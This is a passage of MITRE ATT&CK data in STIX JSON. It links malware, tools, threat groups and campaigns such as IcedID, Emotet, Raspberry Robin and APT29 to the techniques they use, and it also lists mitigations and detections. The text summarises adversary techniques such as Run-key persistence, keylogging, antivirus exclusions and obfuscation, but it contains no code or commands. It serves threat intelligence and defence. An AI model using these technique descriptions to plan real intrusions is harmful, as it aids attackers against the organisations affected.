Documentation"}],"modified":"2019-04-24T23:43:08.156Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194)'s New-UserPersistenceOption Persistence argument can be used to establish via the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b078d28-1724-474c-8668-a6d5c28ed72b","created":"2020-07-15T19:18:56.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"},{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:29:28.500Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has been executed through Word and Excel files with malicious embedded macros and through ISO and LNK files that execute the malicious DLL.(Citation: Juniper IcedID June 2020)(Citation: DFIR_Quantum_Ransomware)(Citation: DFIR_Sodinokibi_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b090d29-d49d-4967-9843-90636bfb039f","created":"2021-03-04T22:41:33.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-31T04:18:44.576Z","description":"Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b0a1eb4-9797-41cd-b7a4-610cb9eb2c42","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.842Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can enable remote desktop on the victim's machine.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b0c5b20-7c34-4939-a790-97853919b5dc","type":"relationship","created":"2020-03-09T13:26:46.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653","description":"Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.","source_name":"Microsoft Protected View"}],"modified":"2021-07-26T22:51:20.598Z","description":"Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)","relationship_type":"mitigates","source_ref":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b143b11-1fe5-4dc1-9790-3cd05659adc4","type":"relationship","created":"2021-03-25T15:10:31.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T15:10:31.963Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the username on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b169a76-bbbc-465f-88d7-3339909ab203","created":"2024-05-17T14:05:28.408Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T14:05:28.408Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) can add an exception to Microsoft Defender that excludes the entire main drive from anti-malware scanning to evade detection.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b17bab3-6c5a-4db2-969b-7724f71afc09","type":"relationship","created":"2020-09-24T14:20:39.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.231Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can use base64 encoding, string stacking, and opaque predicates for obfuscation.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b17c352-f0b7-453d-9f80-e40b262ab8c7","type":"relationship","created":"2020-08-03T19:28:18.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-08-03T19:28:18.157Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has used AutoIt to compile the payload and main script into a single executable after delivery.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b18b0b1-1116-4e42-90b5-ffa3059955a7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","source_name":"US-CERT KEYMARBLE Aug 2018"}],"modified":"2019-09-09T19:15:45.671Z","description":"(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b191418-e24b-4db1-98e1-a7ee56b271f6","type":"relationship","created":"2020-02-25T18:49:52.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:11:24.892Z","description":"Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b1b450f-eda2-499e-8133-dbaddea8059f","created":"2024-02-12T21:04:56.543Z","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:04:56.543Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) will spawn a thread on execution to capture all keyboard events and write them to a predefined log file.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b1e92ce-ca77-4401-a79b-774b5694b8c6","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor newly executed processes for actions that could be taken to add a new user and subsequently hide it from login screens.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b2113c8-9b48-4f93-9090-3946a980c183","created":"2019-05-24T17:57:36.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:35:17.106Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used environment variable string substitution for obfuscation.(Citation: Cyber Forensicator Silence Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b214aec-caa6-4b28-9551-9e6d285b9f80","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b2329e5-eacf-4626-bc3c-43331bc09aef","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-16T16:50:19.689Z","description":"If running in a Windows environment, [Kazuar](https://attack.mitre.org/software/S0265) saves a DLL to disk that is injected into the explorer.exe process to execute the payload. [Kazuar](https://attack.mitre.org/software/S0265) can also be configured to inject and execute within specific processes.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b25dfb3-e1f5-4f75-94b3-a465e7f76cfb","created":"2022-09-26T17:13:44.221Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T17:13:44.221Z","description":"The [FunnyDream](https://attack.mitre.org/software/S1044) Keyrecord component can capture keystrokes.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b275e8a-83fd-4f2b-8ec4-eb36dae007fd","created":"2023-04-07T22:55:10.799Z","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T22:55:10.799Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has used obfuscated API calls that are retrieved by their checksums.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b28dace-9c62-4226-9878-dee480f541d4","created":"2023-09-27T17:23:55.563Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T17:23:55.563Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) can load a plugin to exfiltrate stolen files to SMB shares also used in C2.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T02:07:10.821Z","description":"[PinchDuke](https://attack.mitre.org/software/S0048) gathers system configuration information.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b2cc5e3-11c3-4620-a787-04f2273bcbb8","created":"2023-03-26T20:53:44.378Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:53:44.378Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used compromised service principals to make changes to the Office 365 environment.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b2e912e-4561-4edc-87fe-11f9e259a5a9","created":"2022-02-01T16:00:17.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T16:23:51.899Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has obtained a variety of tools for their operations, including [Responder](https://attack.mitre.org/software/S0174) and PuTTy PSCP.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b2f6151-c019-4910-91a7-9dd6744c4ffb","created":"2023-09-22T19:53:44.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:01:26.626Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) accessed victim SharePoint environments to search for VPN and MFA enrollment information, help desk instructions, and new hire guides.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.669Z","description":"(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b39173a-092f-4e79-ad19-3af1c780c06c","type":"relationship","created":"2020-03-16T15:31:05.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-16T15:31:05.883Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b43c9ba-49bc-4966-a987-2f991d0f44a2","created":"2022-06-06T18:45:10.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:24:27.906Z","description":"[Milan](https://attack.mitre.org/software/S1015) has used an executable named `companycatalogue` to appear benign.(Citation: ClearSky Siamesekitten August 2021)","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b458295-8e67-4f1f-acde-3316ae2e061e","type":"relationship","created":"2019-03-26T17:48:52.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Emotet Jul 2018","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."},{"source_name":"Trend Micro Emotet Jan 2019","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."},{"source_name":"Picus Emotet Dec 2018","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."},{"source_name":"Red Canary Emotet Feb 2019","url":"https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/","description":"Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019."},{"description":"Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.","url":"https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/","source_name":"Carbon Black Emotet Apr 2019"}],"modified":"2019-06-28T15:25:29.581Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has used Powershell to retrieve the malicious payload and download additional resources like [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: Symantec Emotet Jul 2018)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 